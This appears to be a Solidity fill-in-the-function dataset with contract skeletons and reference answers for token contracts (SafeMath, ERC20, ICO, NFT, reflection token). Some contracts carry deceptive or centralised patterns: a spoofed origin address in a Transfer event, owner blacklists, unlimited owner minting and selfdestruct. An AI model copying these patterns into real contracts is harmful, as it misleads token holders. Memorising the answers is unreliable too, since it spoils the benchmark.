contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } <FILL_FUNCTION> mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; }
return allowed[_owner][_spender];
function allowance(address _owner, address _spender) view public returns (uint256 remaining)
function allowance(address _owner, address _spender) view public returns (uint256 remaining)
44579
SafeMath
div
contract SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
contract SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } <FILL_FUNCTION> /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
return div(a, b, "SafeMath: division by zero");
function div(uint256 a, uint256 b) internal pure returns (uint256)
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256)
3369
ERC20Token
approve
contract ERC20Token is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ERC20Token() public { name = "Commerce Network Chamber"; symbol = "CNC"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ERC20Token is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ERC20Token() public { name = "Commerce Network Chamber"; symbol = "CNC"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success)
31632
TripAlly
createTokens
contract TripAlly is SafeMath, StandardToken, Pausable { string public constant name = "TripAlly Token"; string public constant symbol = "ALLY"; uint256 public constant decimals = 18; uint256 public constant tokenCreationCap = 100000000*10**decimals; uint256 constant tokenCreationCapPreICO = 750000*10**decimals; uint256 public oneTokenInWei = 2000000000000000; uint public totalEthRecieved; Phase public currentPhase = Phase.PreICO; enum Phase { PreICO, ICO } event CreateALLY(address indexed _to, uint256 _value); event PriceChanged(string _text, uint _newPrice); event StageChanged(string _text); event Withdraw(address to, uint amount); function TripAlly() { } function () payable { createTokens(); } function createTokens() internal whenNotPaused {<FILL_FUNCTION_BODY> } function addTokens(uint256 tokens) internal { if (msg.value <= 0) revert(); balances[msg.sender] += tokens; totalSupply = safeAdd(totalSupply, tokens); totalEthRecieved += msg.value; CreateALLY(msg.sender, tokens); } function withdraw(address _toAddress, uint256 amount) external onlyOwner { require(_toAddress != address(0)); _toAddress.transfer(amount); Withdraw(_toAddress, amount); } function setEthPrice(uint256 _tokenPrice) external onlyOwner { oneTokenInWei = _tokenPrice; PriceChanged("New price is", _tokenPrice); } function setICOPhase() external onlyOwner { currentPhase = Phase.ICO; StageChanged("Current stage is ICO"); } function setPreICOPhase() external onlyOwner { currentPhase = Phase.PreICO; StageChanged("Current stage is PreICO"); } function generateTokens(address _reciever, uint256 _amount) external onlyOwner { require(_reciever != address(0)); balances[_reciever] += _amount; totalSupply = safeAdd(totalSupply, _amount); CreateALLY(_reciever, _amount); } }
contract TripAlly is SafeMath, StandardToken, Pausable { string public constant name = "TripAlly Token"; string public constant symbol = "ALLY"; uint256 public constant decimals = 18; uint256 public constant tokenCreationCap = 100000000*10**decimals; uint256 constant tokenCreationCapPreICO = 750000*10**decimals; uint256 public oneTokenInWei = 2000000000000000; uint public totalEthRecieved; Phase public currentPhase = Phase.PreICO; enum Phase { PreICO, ICO } event CreateALLY(address indexed _to, uint256 _value); event PriceChanged(string _text, uint _newPrice); event StageChanged(string _text); event Withdraw(address to, uint amount); function TripAlly() { } function () payable { createTokens(); } <FILL_FUNCTION> function addTokens(uint256 tokens) internal { if (msg.value <= 0) revert(); balances[msg.sender] += tokens; totalSupply = safeAdd(totalSupply, tokens); totalEthRecieved += msg.value; CreateALLY(msg.sender, tokens); } function withdraw(address _toAddress, uint256 amount) external onlyOwner { require(_toAddress != address(0)); _toAddress.transfer(amount); Withdraw(_toAddress, amount); } function setEthPrice(uint256 _tokenPrice) external onlyOwner { oneTokenInWei = _tokenPrice; PriceChanged("New price is", _tokenPrice); } function setICOPhase() external onlyOwner { currentPhase = Phase.ICO; StageChanged("Current stage is ICO"); } function setPreICOPhase() external onlyOwner { currentPhase = Phase.PreICO; StageChanged("Current stage is PreICO"); } function generateTokens(address _reciever, uint256 _amount) external onlyOwner { require(_reciever != address(0)); balances[_reciever] += _amount; totalSupply = safeAdd(totalSupply, _amount); CreateALLY(_reciever, _amount); } }
uint multiplier = 10 ** 10; uint256 tokens = safeDiv(msg.value*100000000, oneTokenInWei) * multiplier; uint256 checkedSupply = safeAdd(totalSupply, tokens); if (currentPhase == Phase.PreICO && checkedSupply <= tokenCreationCapPreICO) { addTokens(tokens); } else if (currentPhase == Phase.ICO && checkedSupply <= tokenCreationCap) { addTokens(tokens); } else { revert(); }
function createTokens() internal whenNotPaused
function createTokens() internal whenNotPaused
52375
RateSetter
changeRateSetter
contract RateSetter { address public rateSetter; event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter); function RateSetter() public { rateSetter = msg.sender; } modifier onlyRateSetter() { require(msg.sender == rateSetter); _; } function changeRateSetter(address newRateSetter) onlyRateSetter public {<FILL_FUNCTION_BODY> } }
contract RateSetter { address public rateSetter; event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter); function RateSetter() public { rateSetter = msg.sender; } modifier onlyRateSetter() { require(msg.sender == rateSetter); _; } <FILL_FUNCTION> }
require(newRateSetter != address(0)); emit RateSetterChanged(rateSetter, newRateSetter); rateSetter = newRateSetter;
function changeRateSetter(address newRateSetter) onlyRateSetter public
function changeRateSetter(address newRateSetter) onlyRateSetter public
34560
QRG
mintToken
contract QRG is owned, TokenERC20 { uint256 public buyPrice; bool public isContractFrozen; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); event FrozenContract(bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function QRG( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (!isContractFrozen); require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public {<FILL_FUNCTION_BODY> } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function freezeContract(bool freeze) onlyOwner public { isContractFrozen = freeze; FrozenContract(freeze); // triggers network event } function setPrice(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function () public payable { require (buyPrice != 0); // don't allow purchases before price has been set uint amountTokens = msg.value*buyPrice; // calculate tokens to be sent _transfer(this, msg.sender, amountTokens); // makes the token transfer owner.transfer(msg.value); } function withdrawTokens(uint256 amount) onlyOwner public{ _transfer(this, msg.sender, amount); } function kill() onlyOwner public{ selfdestruct(msg.sender); } }
contract QRG is owned, TokenERC20 { uint256 public buyPrice; bool public isContractFrozen; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); event FrozenContract(bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function QRG( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (!isContractFrozen); require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } <FILL_FUNCTION> /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function freezeContract(bool freeze) onlyOwner public { isContractFrozen = freeze; FrozenContract(freeze); // triggers network event } function setPrice(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function () public payable { require (buyPrice != 0); // don't allow purchases before price has been set uint amountTokens = msg.value*buyPrice; // calculate tokens to be sent _transfer(this, msg.sender, amountTokens); // makes the token transfer owner.transfer(msg.value); } function withdrawTokens(uint256 amount) onlyOwner public{ _transfer(this, msg.sender, amount); } function kill() onlyOwner public{ selfdestruct(msg.sender); } }
balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount);
function mintToken(address target, uint256 mintedAmount) onlyOwner public
/// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public
93282
KaliNFT
burn
contract KaliNFT is ERC721, Multicall { mapping(uint256 => string) private _tokenURI; constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {} function tokenURI(uint256 tokenId) public view override virtual returns (string memory) { return _tokenURI[tokenId]; } function mint( address to, uint256 tokenId, string calldata uri ) public virtual { _mint(to, tokenId); _tokenURI[tokenId] = uri; } function burn(uint256 tokenId) public virtual {<FILL_FUNCTION_BODY> } }
contract KaliNFT is ERC721, Multicall { mapping(uint256 => string) private _tokenURI; constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {} function tokenURI(uint256 tokenId) public view override virtual returns (string memory) { return _tokenURI[tokenId]; } function mint( address to, uint256 tokenId, string calldata uri ) public virtual { _mint(to, tokenId); _tokenURI[tokenId] = uri; } <FILL_FUNCTION> }
if (msg.sender != ownerOf[tokenId]) revert NotOwner(); _burn(tokenId);
function burn(uint256 tokenId) public virtual
function burn(uint256 tokenId) public virtual
64398
InternalReflectionService
_getRValues
contract InternalReflectionService is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Internal Reflection Service"; string private constant _symbol = "IRS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f); _feeAddrWallet2 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f); _rOwned[_msgSender()] = _rTotal; _sellTax = 5; _buyTax = 5; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x7b9D8513F2b4324c448aad99EbcD7880f294112E), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 10) { _sellTax = sellTax; } } function _setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 10) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
